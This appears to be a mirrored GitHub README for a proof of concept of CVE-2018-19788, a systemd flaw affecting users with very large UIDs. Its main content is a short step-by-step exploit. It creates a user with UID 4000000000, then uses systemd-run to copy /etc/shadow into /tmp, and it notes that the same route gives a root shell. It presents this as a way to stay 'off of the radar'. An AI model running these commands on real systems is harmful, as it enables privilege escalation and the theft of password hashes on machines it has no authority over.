Giter Site home page Giter Site logo

poc's Introduction

Leveraging CVE-2018-19788 to dump protected files without root shell

CVE-2018-19788 is an issue where any user with a UID over INT_MAX (IE 4000000000) can run any systemctl command on a systemd linux box, such as Ubuntu. (There is already a writeup to gain a root shell found: here). The main difference between this writeup and the full root shell writeup is that this will be run as the user itself instead of a root user (basically just a PoC to be honest)

Getting /etc/shadow without executing a root shell

To get a root shell it's as simple as running systemd-run -t /bin/bash but if you want to keep off of the radar you can run simple commands to get privileged files without a terminal. Follow these steps to do it:

  • Add a user with a UID above INT_MAX:
    adduser --uid 4000000000 someusername
  • Switch into the user account:
    su someusername
  • Run the command for whatever file you would like (we'll use /etc/shadow for this):
    systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  • Your file is now in /tmp:
    cat /tmp/results_poc.txt

PoC video

to_video

poc's People

Contributors

ekultek avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.